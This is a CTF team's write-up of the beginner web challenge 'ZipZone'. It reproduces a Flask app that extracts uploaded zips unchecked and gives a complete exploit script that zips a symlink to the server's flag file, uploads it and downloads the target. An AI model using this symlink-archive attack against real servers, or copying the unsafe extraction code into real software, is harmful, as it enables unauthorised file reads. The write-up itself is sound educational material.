Skip to content
webCyberspace2024129 words · 1 min read

I was tired of trying to find a good file server for zip files, so I made my own! It's still a work in progress, but I think it's pretty good so far.

#web
50 pts 173 solves

ZipZone

by akiidjk · 17 Jul 2026

Introduction

ZipZone is the only one web in the beginner's category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards.

Source

# filename: app.py

import logging
import os
import subprocess
import uuid

from flask import (
    Flask,
    abort,
    flash,
    redirect,
    render_template,
    request,
    send_from_directory,
)

app = Flask(__name__)
upload_dir = "/tmp/"

app.config["MAX_CONTENT_LENGTH"] = 1 * 10**6  # 1 MB
app.config["SECRET_KEY"] = os.urandom(32)


@app.route("/", methods=["GET", "POST"])
def upload():
    if request.method == "GET":
        return render_template("index.html")

    if "file" not in request.files:
        flash("No file part!", "danger")
        return render_template("index.html")

    file = request.files["file"]
    if file.filename.split(".")[-1].lower() != "zip":
        flash("Only zip files allowed are allowed!", "danger")
        return render_template("index.html")

    upload_uuid = str(uuid.uuid4())
    filename = f"{upload_dir}raw/{upload_uuid}.zip"
    file.save(filename)
    subprocess.call(["unzip", filename, "-d", f"{upload_dir}files/{upload_uuid}"])

    print(f"Unzipped {filename} to {upload_dir}files/{upload_uuid}")

    flash(
        f'Your file is at <a href="/files/{upload_uuid}">{upload_uuid}</a>!', "success"
    )
    logging.info(f"User uploaded file {upload_uuid}.")
    return redirect("/")


@app.route("/files/<path:path>")
def files(path):
    try:
        return send_from_directory(upload_dir + "files", path)
    except PermissionError:
        abort(404)


@app.errorhandler(404)
def page_not_found(error):
    return render_template("404.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=5000)

Solution

Being actually a web in the beginner category, I initially just gave a quick read to the source code, where in fact no checks are done on the files inside the zipper, but only on the zipper itself, where we see the extension is checked

# filename: exploit.py

#!/usr/bin/python3

import os
import subprocess
import requests
from bs4 import BeautifulSoup

BASE_URL = "https://zipzone-web.challs.csc.tf"
URL_HOOK = ""

def get_uuid(text):
  soup = BeautifulSoup(text, 'html.parser')
  for a in soup.find_all('a', href=True):
    if a['href']:
      return a['href'].split('/')[-1]


def upload_file(file_path):
  with open(file_path, "rb") as f:
    files = {"file": f}
    response = requests.post(BASE_URL, files=files)
    return get_uuid(response.text)


def create_exploit(zip_filename:str,symlink_name:str,symlink_target:str):
    os.symlink(symlink_target, symlink_name)
    subprocess.run(['zip', '-y', zip_filename, symlink_name], check=True)
    print(f'{zip_filename} created.')
    os.remove(symlink_name)

def get_flag(UUID):
  response = requests.get(f'{BASE_URL}/files/{UUID}/evil_link',stream=True)
  if response.status_code == 200:
    with open("flag", 'wb') as f:
      for chunk in response.iter_content(chunk_size=8192):
        f.write(chunk)
    print(f"Flag download successfully")
  else:
      print(f"Error during the download: {response.status_code}")

  return open("flag", "r").read().strip()

def clean():
    os.remove('exploit.zip')
    os.remove('flag')

def main():
  create_exploit(zip_filename='exploit.zip',symlink_name='evil_link',symlink_target='/home/user/flag.txt')
  UUID = upload_file('./exploit.zip')
  print(f'UUID: {UUID}')
  flag = get_flag(UUID)
  print(f"Flag: {flag}")
  clean()

if __name__ == "__main__":
  main()

# goodluck by @akiidjk

The solutions is very simple, A symlink is simply created pointing to /home/user/flag, it is then zipped and sent to the page, we save the file id and in the path uuid/name_file we send the file pointing to the symlink.

flag: CSCTF{5yml1nk5_4r3_w31rd}

ByteTheCookies

Hello, we are ByteTheCookies (BTC), a passionate CTF team formed by students from the University of Salerno after participating in the CyberChallenge 2024.

CTFtime #309819

We play

blockchaincancryptohardwaremiscmobileppcpwnreverseweb
© 2026 ByteTheCookies. All wrongs reversed.We don't eat cookies. We byte them.